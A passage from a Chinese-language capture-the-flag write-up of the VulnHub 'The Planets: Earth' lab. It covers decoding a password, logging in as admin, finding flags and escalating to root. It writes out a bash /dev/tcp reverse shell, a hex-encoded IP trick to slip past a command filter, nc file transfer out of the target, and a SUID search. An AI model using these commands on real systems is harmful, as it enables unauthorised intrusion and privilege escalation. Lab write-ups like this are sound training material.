#脚本结果earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
文章插图
观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:
文章插图
获取flag
根据题目描述这题是要寻找两个flag:
文章插图
因此通过find查找flag文件,find / -name "*flag*",
文章插图
然后读取下/var/earth_web/user_flag.txt文件的信息 , cat /var/earth_web/user_flag.txt,获取到flag值:
文章插图
获取root权限
观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限
文章插图
首先获取下root权限下的文件都有哪些 , 命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:
文章插图
尝试执行一下,但是重置密码失败
文章插图
那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688
文章插图
在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了
文章插图
发现被禁止后就在网上查找了以下 , 发现通过将ip地址转换成16禁止可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功获取到shell权限
文章插图
因为shell上无法进行调试,因此把reset_root文件下载到本地进行调试,使用nc进行文件的传递,服务端:nc -nlvp 8899 >reset_root , shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序
文章插图
然后使用strace进行调试:strace ./reset_root , 显示缺少三个文件
access("/dev/shm/kHgTFI5G", F_OK)= -1 ENOENT (No such file or directory)access("/dev/shm/Zw7bV9U5", F_OK)= -1 ENOENT (No such file or directory)access("/tmp/kcM0Wewe", F_OK)= -1 ENOENT (No such file or directory)write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44
文章插图
那就去靶机上看一下这几个文件,发现靶机上也没有这几个文件
文章插图
那就创建这几个文件后在尝试执行下reset_root文件 , 成功修改su密码为:Earth
文章插图
文章插图
在root权限下查找flag文件并读取flag值
文章插图
【vulnhub靶场之THE PLANETS: EARTH】
推荐阅读
- 光与夜之恋夏鸣星妙景偶拾答案是什么
- 原神寻星之旅第六天怎么通关
- 阳光之下封潇声为什么喝中药_阳光之下封潇声吃药的原因
- 忘川风华录历历星汉推演之周任务怎么做
- 忘川风华录历历星汉制历之周任务怎么做
- 浅谈-动态路由之OSPF的理解
- 分布式存储系统之Ceph集群RBD基础使用
- liunx之expect简介
- liunx之expect操作详解
- 原神寻星之旅第七天怎么通关